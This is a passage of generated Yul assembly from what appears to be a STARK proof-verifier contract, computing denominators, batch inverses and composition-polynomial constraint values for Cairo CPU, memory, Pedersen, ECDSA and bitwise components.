// Denominator for constraints: 'ecdsa/signature0/init_key/x', 'ecdsa/signature0/init_key/y', 'ecdsa/signature0/r_and_w_nonzero'.
// denominators[23] = point^(trace_length / 8192) - 1.
mstore(0x3ba0,
addmod(/*point^(trace_length / 8192)*/ mload(0x31c0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'bitwise/addition_is_xor_with_and'.
// denominators[24] = (point^(trace_length / 128) - 1) * (point^(trace_length / 128) - trace_generator^(trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 8)) * (point^(trace_length / 128) - trace_generator^(9 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(11 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(13 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(15 * trace_length / 64)).
{
let denominator := mulmod(
mulmod(
mulmod(
addmod(/*point^(trace_length / 128)*/ mload(0x3180), sub(PRIME, 1), PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 64)*/ mload(0x33c0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 32)*/ mload(0x33e0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 64)*/ mload(0x3400)),
PRIME),
PRIME)
denominator := mulmod(
denominator,
mulmod(
mulmod(
mulmod(
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 16)*/ mload(0x3420)),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(5 * trace_length / 64)*/ mload(0x3440)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 32)*/ mload(0x3460)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(7 * trace_length / 64)*/ mload(0x3480)),
PRIME),
PRIME),
PRIME)
denominator := mulmod(
denominator,
mulmod(
mulmod(
mulmod(
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 8)*/ mload(0x34a0)),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(9 * trace_length / 64)*/ mload(0x34c0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(5 * trace_length / 32)*/ mload(0x34e0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(11 * trace_length / 64)*/ mload(0x3500)),
PRIME),
PRIME),
PRIME)
denominator := mulmod(
denominator,
mulmod(
mulmod(
mulmod(
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 16)*/ mload(0x3520)),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(13 * trace_length / 64)*/ mload(0x3540)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(7 * trace_length / 32)*/ mload(0x3560)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(15 * trace_length / 64)*/ mload(0x3580)),
PRIME),
PRIME),
PRIME)
mstore(0x3bc0, denominator)
}
}
{
// Compute the inverses of the denominators into denominatorInvs using batch inverse.
// Start by computing the cumulative product.
// Let (d_0, d_1, d_2, ..., d_{n-1}) be the values in denominators. After this loop
// denominatorInvs will be (1, d_0, d_0 * d_1, ...) and prod will contain the value of
// d_0 * ... * d_{n-1}.
// Compute the offset between the partialProducts array and the input values array.
let productsToValuesOffset := 0x320
let prod := 1
let partialProductEndPtr := 0x38c0
for { let partialProductPtr := 0x35a0 }
lt(partialProductPtr, partialProductEndPtr)
{ partialProductPtr := add(partialProductPtr, 0x20) } {
mstore(partialProductPtr, prod)
// prod *= d_{i}.
prod := mulmod(prod,
mload(add(partialProductPtr, productsToValuesOffset)),
PRIME)
}
let firstPartialProductPtr := 0x35a0
// Compute the inverse of the product.
let prodInv := expmod(prod, sub(PRIME, 2), PRIME)
if eq(prodInv, 0) {
// Solidity generates reverts with reason that look as follows:
// 1. 4 bytes with the constant 0x08c379a0 (== Keccak256(b'Error(string)')[:4]).
// 2. 32 bytes offset bytes (always 0x20 as far as i can tell).
// 3. 32 bytes with the length of the revert reason.
// 4. Revert reason string.
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(0x4, 0x20)
mstore(0x24, 0x1e)
mstore(0x44, "Batch inverse product is zero.")
revert(0, 0x62)
}
// Compute the inverses.
// Loop over denominator_invs in reverse order.
// currentPartialProductPtr is initialized to one past the end.
let currentPartialProductPtr := 0x38c0
for { } gt(currentPartialProductPtr, firstPartialProductPtr) { } {
currentPartialProductPtr := sub(currentPartialProductPtr, 0x20)
// Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}).
mstore(currentPartialProductPtr,
mulmod(mload(currentPartialProductPtr), prodInv, PRIME))
// Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i.
prodInv := mulmod(prodInv,
mload(add(currentPartialProductPtr, productsToValuesOffset)),
PRIME)
}
}
{
// Compute numerators.
// Numerator for constraints 'cpu/decode/opcode_rc/bit'.
// numerators[0] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
mstore(0x3be0,
addmod(
/*point^(trace_length / 16)*/ mload(0x30c0),
sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3220)),
PRIME))
// Numerator for constraints 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update'.
// numerators[1] = point - trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x3c00,
addmod(
point,
sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3240)),
PRIME))
// Numerator for constraints 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'.
// numerators[2] = point - trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x3c20,
addmod(
point,
sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3260)),
PRIME))
// Numerator for constraints 'rc16/perm/step0', 'rc16/diff_is_bit'.
// numerators[3] = point - trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x3c40,
addmod(
point,
sub(PRIME, /*trace_generator^(4 * (trace_length / 4 - 1))*/ mload(0x3280)),
PRIME))
// Numerator for constraints 'diluted_check/permutation/step0', 'diluted_check/step'.
// numerators[4] = point - trace_generator^(trace_length - 1).
mstore(0x3c60,
addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x32a0)), PRIME))
// Numerator for constraints 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y'.
// numerators[5] = point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
mstore(0x3c80,
addmod(
/*point^(trace_length / 2048)*/ mload(0x3120),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Numerator for constraints 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y'.
// numerators[6] = point^(trace_length / 4096) - trace_generator^(trace_length / 2).
mstore(0x3ca0,
addmod(
/*point^(trace_length / 4096)*/ mload(0x3160),
sub(PRIME, /*trace_generator^(trace_length / 2)*/ mload(0x3300)),
PRIME))
// Numerator for constraints 'pedersen/input0_addr'.
// numerators[7] = point - trace_generator^(4096 * (trace_length / 4096 - 1)).
mstore(0x3cc0,
addmod(
point,
sub(PRIME, /*trace_generator^(4096 * (trace_length / 4096 - 1))*/ mload(0x3320)),
PRIME))
// Numerator for constraints 'rc_builtin/addr_step', 'bitwise/next_var_pool_addr'.
// numerators[8] = point - trace_generator^(128 * (trace_length / 128 - 1)).
mstore(0x3ce0,
addmod(
point,
sub(PRIME, /*trace_generator^(128 * (trace_length / 128 - 1))*/ mload(0x3340)),
PRIME))
// Numerator for constraints 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'.
// numerators[9] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
mstore(0x3d00,
addmod(
/*point^(trace_length / 8192)*/ mload(0x31c0),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Numerator for constraints 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'.
// numerators[10] = point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
mstore(0x3d20,
addmod(
/*point^(trace_length / 16384)*/ mload(0x3200),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Numerator for constraints 'ecdsa/pubkey_addr'.
// numerators[11] = point - trace_generator^(16384 * (trace_length / 16384 - 1)).
mstore(0x3d40,
addmod(
point,
sub(PRIME, /*trace_generator^(16384 * (trace_length / 16384 - 1))*/ mload(0x3380)),
PRIME))
// Numerator for constraints 'bitwise/step_var_pool_addr'.
// numerators[12] = point^(trace_length / 128) - trace_generator^(3 * trace_length / 4).
mstore(0x3d60,
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 4)*/ mload(0x33a0)),
PRIME))
}
{
// Compute the result of the composition polynomial.
{
// cpu/decode/opcode_rc/bit_0 = column0_row0 - (column0_row1 + column0_row1).
let val := addmod(
/*column0_row0*/ mload(0x1600),
sub(
PRIME,
addmod(/*column0_row1*/ mload(0x1620), /*column0_row1*/ mload(0x1620), PRIME)),
PRIME)
mstore(0x2bc0, val)
}
{
// cpu/decode/opcode_rc/bit_2 = column0_row2 - (column0_row3 + column0_row3).
let val := addmod(
/*column0_row2*/ mload(0x1640),
sub(
PRIME,
addmod(/*column0_row3*/ mload(0x1660), /*column0_row3*/ mload(0x1660), PRIME)),
PRIME)
mstore(0x2be0, val)
}
{
// cpu/decode/opcode_rc/bit_4 = column0_row4 - (column0_row5 + column0_row5).
let val := addmod(
/*column0_row4*/ mload(0x1680),
sub(
PRIME,
addmod(/*column0_row5*/ mload(0x16a0), /*column0_row5*/ mload(0x16a0), PRIME)),
PRIME)
mstore(0x2c00, val)
}
{
// cpu/decode/opcode_rc/bit_3 = column0_row3 - (column0_row4 + column0_row4).
let val := addmod(
/*column0_row3*/ mload(0x1660),
sub(
PRIME,
addmod(/*column0_row4*/ mload(0x1680), /*column0_row4*/ mload(0x1680), PRIME)),
PRIME)
mstore(0x2c20, val)
}
{
// cpu/decode/flag_op1_base_op0_0 = 1 - (cpu__decode__opcode_rc__bit_2 + cpu__decode__opcode_rc__bit_4 + cpu__decode__opcode_rc__bit_3).
let val := addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
/*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x2c00),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x2c20),
PRIME)),
PRIME)
mstore(0x2c40, val)
}
{
// cpu/decode/opcode_rc/bit_5 = column0_row5 - (column0_row6 + column0_row6).
let val := addmod(
/*column0_row5*/ mload(0x16a0),
sub(
PRIME,
addmod(/*column0_row6*/ mload(0x16c0), /*column0_row6*/ mload(0x16c0), PRIME)),
PRIME)
mstore(0x2c60, val)
}
{
// cpu/decode/opcode_rc/bit_6 = column0_row6 - (column0_row7 + column0_row7).
let val := addmod(
/*column0_row6*/ mload(0x16c0),
sub(
PRIME,
addmod(/*column0_row7*/ mload(0x16e0), /*column0_row7*/ mload(0x16e0), PRIME)),
PRIME)
mstore(0x2c80, val)
}
{
// cpu/decode/opcode_rc/bit_9 = column0_row9 - (column0_row10 + column0_row10).
let val := addmod(
/*column0_row9*/ mload(0x1720),
sub(
PRIME,
addmod(/*column0_row10*/ mload(0x1740), /*column0_row10*/ mload(0x1740), PRIME)),
PRIME)
mstore(0x2ca0, val)
}
{
// cpu/decode/flag_res_op1_0 = 1 - (cpu__decode__opcode_rc__bit_5 + cpu__decode__opcode_rc__bit_6 + cpu__decode__opcode_rc__bit_9).
let val := addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x2c60),
/*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x2c80),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0),
PRIME)),
PRIME)
mstore(0x2cc0, val)
}
{
// cpu/decode/opcode_rc/bit_7 = column0_row7 - (column0_row8 + column0_row8).
let val := addmod(
/*column0_row7*/ mload(0x16e0),
sub(
PRIME,
addmod(/*column0_row8*/ mload(0x1700), /*column0_row8*/ mload(0x1700), PRIME)),
PRIME)
mstore(0x2ce0, val)
}
{
// cpu/decode/opcode_rc/bit_8 = column0_row8 - (column0_row9 + column0_row9).
let val := addmod(
/*column0_row8*/ mload(0x1700),
sub(
PRIME,
addmod(/*column0_row9*/ mload(0x1720), /*column0_row9*/ mload(0x1720), PRIME)),
PRIME)
mstore(0x2d00, val)
}
{
// cpu/decode/flag_pc_update_regular_0 = 1 - (cpu__decode__opcode_rc__bit_7 + cpu__decode__opcode_rc__bit_8 + cpu__decode__opcode_rc__bit_9).
let val := addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x2ce0),
/*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x2d00),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0),
PRIME)),
PRIME)
mstore(0x2d20, val)
}
{
// cpu/decode/opcode_rc/bit_12 = column0_row12 - (column0_row13 + column0_row13).
let val := addmod(
/*column0_row12*/ mload(0x1780),
sub(
PRIME,
addmod(/*column0_row13*/ mload(0x17a0), /*column0_row13*/ mload(0x17a0), PRIME)),
PRIME)
mstore(0x2d40, val)
}
{
// cpu/decode/opcode_rc/bit_13 = column0_row13 - (column0_row14 + column0_row14).
let val := addmod(
/*column0_row13*/ mload(0x17a0),
sub(
PRIME,
addmod(/*column0_row14*/ mload(0x17c0), /*column0_row14*/ mload(0x17c0), PRIME)),
PRIME)
mstore(0x2d60, val)
}
{
// cpu/decode/fp_update_regular_0 = 1 - (cpu__decode__opcode_rc__bit_12 + cpu__decode__opcode_rc__bit_13).
let val := addmod(
1,
sub(
PRIME,
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
PRIME)),
PRIME)
mstore(0x2d80, val)
}
{
// cpu/decode/opcode_rc/bit_1 = column0_row1 - (column0_row2 + column0_row2).
let val := addmod(
/*column0_row1*/ mload(0x1620),
sub(
PRIME,
addmod(/*column0_row2*/ mload(0x1640), /*column0_row2*/ mload(0x1640), PRIME)),
PRIME)
mstore(0x2da0, val)
}
{
// npc_reg_0 = column3_row0 + cpu__decode__opcode_rc__bit_2 + 1.
let val := addmod(
addmod(
/*column3_row0*/ mload(0x1c20),
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
PRIME),
1,
PRIME)
mstore(0x2dc0, val)
}
{
// cpu/decode/opcode_rc/bit_10 = column0_row10 - (column0_row11 + column0_row11).
let val := addmod(
/*column0_row10*/ mload(0x1740),
sub(
PRIME,
addmod(/*column0_row11*/ mload(0x1760), /*column0_row11*/ mload(0x1760), PRIME)),
PRIME)
mstore(0x2de0, val)
}
{
// cpu/decode/opcode_rc/bit_11 = column0_row11 - (column0_row12 + column0_row12).
let val := addmod(
/*column0_row11*/ mload(0x1760),
sub(
PRIME,
addmod(/*column0_row12*/ mload(0x1780), /*column0_row12*/ mload(0x1780), PRIME)),
PRIME)
mstore(0x2e00, val)
}
{
// cpu/decode/opcode_rc/bit_14 = column0_row14 - (column0_row15 + column0_row15).
let val := addmod(
/*column0_row14*/ mload(0x17c0),
sub(
PRIME,
addmod(/*column0_row15*/ mload(0x17e0), /*column0_row15*/ mload(0x17e0), PRIME)),
PRIME)
mstore(0x2e20, val)
}
{
// memory/address_diff_0 = column4_row2 - column4_row0.
let val := addmod(/*column4_row2*/ mload(0x20c0), sub(PRIME, /*column4_row0*/ mload(0x2080)), PRIME)
mstore(0x2e40, val)
}
{
// rc16/diff_0 = column5_row6 - column5_row2.
let val := addmod(/*column5_row6*/ mload(0x21c0), sub(PRIME, /*column5_row2*/ mload(0x2140)), PRIME)
mstore(0x2e60, val)
}
{
// pedersen/hash0/ec_subset_sum/bit_0 = column5_row7 - (column5_row15 + column5_row15).
let val := addmod(
/*column5_row7*/ mload(0x21e0),
sub(
PRIME,
addmod(/*column5_row15*/ mload(0x2280), /*column5_row15*/ mload(0x2280), PRIME)),
PRIME)
mstore(0x2e80, val)
}
{
// pedersen/hash0/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash0__ec_subset_sum__bit_0.
let val := addmod(
1,
sub(PRIME, /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80)),
PRIME)
mstore(0x2ea0, val)
}
{
// rc_builtin/value0_0 = column5_row12.
let val := /*column5_row12*/ mload(0x2240)
mstore(0x2ec0, val)
}
{
// rc_builtin/value1_0 = rc_builtin__value0_0 * offset_size + column5_row28.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value0_0*/ mload(0x2ec0),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row28*/ mload(0x22a0),
PRIME)
mstore(0x2ee0, val)
}
{
// rc_builtin/value2_0 = rc_builtin__value1_0 * offset_size + column5_row44.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value1_0*/ mload(0x2ee0),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row44*/ mload(0x22c0),
PRIME)
mstore(0x2f00, val)
}
{
// rc_builtin/value3_0 = rc_builtin__value2_0 * offset_size + column5_row60.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value2_0*/ mload(0x2f00),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row60*/ mload(0x22e0),
PRIME)
mstore(0x2f20, val)
}
{
// rc_builtin/value4_0 = rc_builtin__value3_0 * offset_size + column5_row76.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value3_0*/ mload(0x2f20),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row76*/ mload(0x2300),
PRIME)
mstore(0x2f40, val)
}
{
// rc_builtin/value5_0 = rc_builtin__value4_0 * offset_size + column5_row92.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value4_0*/ mload(0x2f40),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row92*/ mload(0x2320),
PRIME)
mstore(0x2f60, val)
}
{
// rc_builtin/value6_0 = rc_builtin__value5_0 * offset_size + column5_row108.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value5_0*/ mload(0x2f60),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row108*/ mload(0x2340),
PRIME)
mstore(0x2f80, val)
}
{
// rc_builtin/value7_0 = rc_builtin__value6_0 * offset_size + column5_row124.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value6_0*/ mload(0x2f80),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row124*/ mload(0x2360),
PRIME)
mstore(0x2fa0, val)
}
{
// ecdsa/signature0/doubling_key/x_squared = column6_row6 * column6_row6.
let val := mulmod(/*column6_row6*/ mload(0x25c0), /*column6_row6*/ mload(0x25c0), PRIME)
mstore(0x2fc0, val)
}
{
// ecdsa/signature0/exponentiate_generator/bit_0 = column6_row53 - (column6_row117 + column6_row117).
let val := addmod(
/*column6_row53*/ mload(0x2820),
sub(
PRIME,
addmod(/*column6_row117*/ mload(0x28c0), /*column6_row117*/ mload(0x28c0), PRIME)),
PRIME)
mstore(0x2fe0, val)
}
{
// ecdsa/signature0/exponentiate_generator/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_generator__bit_0.
let val := addmod(
1,
sub(
PRIME,
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0)),
PRIME)
mstore(0x3000, val)
}
{
// ecdsa/signature0/exponentiate_key/bit_0 = column6_row9 - (column6_row41 + column6_row41).
let val := addmod(
/*column6_row9*/ mload(0x2600),
sub(
PRIME,
addmod(/*column6_row41*/ mload(0x27e0), /*column6_row41*/ mload(0x27e0), PRIME)),
PRIME)
mstore(0x3020, val)
}
{
// ecdsa/signature0/exponentiate_key/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_key__bit_0.
let val := addmod(
1,
sub(
PRIME,
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020)),
PRIME)
mstore(0x3040, val)
}
{
// bitwise/sum_var_0_0 = column1_row0 + column1_row2 * 2 + column1_row4 * 4 + column1_row6 * 8 + column1_row8 * 18446744073709551616 + column1_row10 * 36893488147419103232 + column1_row12 * 73786976294838206464 + column1_row14 * 147573952589676412928.
let val := addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
/*column1_row0*/ mload(0x1800),
mulmod(/*column1_row2*/ mload(0x1840), 2, PRIME),
PRIME),
mulmod(/*column1_row4*/ mload(0x1860), 4, PRIME),
PRIME),
mulmod(/*column1_row6*/ mload(0x1880), 8, PRIME),
PRIME),
mulmod(/*column1_row8*/ mload(0x18a0), 18446744073709551616, PRIME),
PRIME),
mulmod(/*column1_row10*/ mload(0x18c0), 36893488147419103232, PRIME),
PRIME),
mulmod(/*column1_row12*/ mload(0x18e0), 73786976294838206464, PRIME),
PRIME),
mulmod(/*column1_row14*/ mload(0x1900), 147573952589676412928, PRIME),
PRIME)
mstore(0x3060, val)
}
{
// bitwise/sum_var_8_0 = column1_row16 * 340282366920938463463374607431768211456 + column1_row18 * 680564733841876926926749214863536422912 + column1_row20 * 1361129467683753853853498429727072845824 + column1_row22 * 2722258935367507707706996859454145691648 + column1_row24 * 6277101735386680763835789423207666416102355444464034512896 + column1_row26 * 12554203470773361527671578846415332832204710888928069025792 + column1_row28 * 25108406941546723055343157692830665664409421777856138051584 + column1_row30 * 50216813883093446110686315385661331328818843555712276103168.
let val := addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
mulmod(/*column1_row16*/ mload(0x1920), 340282366920938463463374607431768211456, PRIME),
mulmod(/*column1_row18*/ mload(0x1940), 680564733841876926926749214863536422912, PRIME),
PRIME),
mulmod(/*column1_row20*/ mload(0x1960), 1361129467683753853853498429727072845824, PRIME),
PRIME),
mulmod(/*column1_row22*/ mload(0x1980), 2722258935367507707706996859454145691648, PRIME),
PRIME),
mulmod(
/*column1_row24*/ mload(0x19a0),
6277101735386680763835789423207666416102355444464034512896,
PRIME),
PRIME),
mulmod(
/*column1_row26*/ mload(0x19c0),
12554203470773361527671578846415332832204710888928069025792,
PRIME),
PRIME),
mulmod(
/*column1_row28*/ mload(0x19e0),
25108406941546723055343157692830665664409421777856138051584,
PRIME),
PRIME),
mulmod(
/*column1_row30*/ mload(0x1a00),
50216813883093446110686315385661331328818843555712276103168,
PRIME),
PRIME)
mstore(0x3080, val)
}
{
// Constraint expression for cpu/decode/opcode_rc/bit: cpu__decode__opcode_rc__bit_0 * cpu__decode__opcode_rc__bit_0 - cpu__decode__opcode_rc__bit_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0)),
PRIME)
// Numerator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
// val *= numerators[0].
val := mulmod(val, mload(0x3be0), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x35a0), PRIME)
// res += val * coefficients[0].
res := addmod(res,
mulmod(val, /*coefficients[0]*/ mload(0x540), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/opcode_rc/zero: column0_row0.
let val := /*column0_row0*/ mload(0x1600)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
// val *= denominator_invs[1].
val := mulmod(val, mload(0x35c0), PRIME)
// res += val * coefficients[1].
res := addmod(res,
mulmod(val, /*coefficients[1]*/ mload(0x560), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/opcode_rc_input: column3_row1 - (((column0_row0 * offset_size + column5_row4) * offset_size + column5_row8) * offset_size + column5_row0).
let val := addmod(
/*column3_row1*/ mload(0x1c40),
sub(
PRIME,
addmod(
mulmod(
addmod(
mulmod(
addmod(
mulmod(/*column0_row0*/ mload(0x1600), /*offset_size*/ mload(0xa0), PRIME),
/*column5_row4*/ mload(0x2180),
PRIME),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row8*/ mload(0x2200),
PRIME),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row0*/ mload(0x2100),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[2].
res := addmod(res,
mulmod(val, /*coefficients[2]*/ mload(0x580), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/flag_op1_base_op0_bit: cpu__decode__flag_op1_base_op0_0 * cpu__decode__flag_op1_base_op0_0 - cpu__decode__flag_op1_base_op0_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40),
/*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[3].
res := addmod(res,
mulmod(val, /*coefficients[3]*/ mload(0x5a0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/flag_res_op1_bit: cpu__decode__flag_res_op1_0 * cpu__decode__flag_res_op1_0 - cpu__decode__flag_res_op1_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[4].
res := addmod(res,
mulmod(val, /*coefficients[4]*/ mload(0x5c0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/flag_pc_update_regular_bit: cpu__decode__flag_pc_update_regular_0 * cpu__decode__flag_pc_update_regular_0 - cpu__decode__flag_pc_update_regular_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20),
/*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
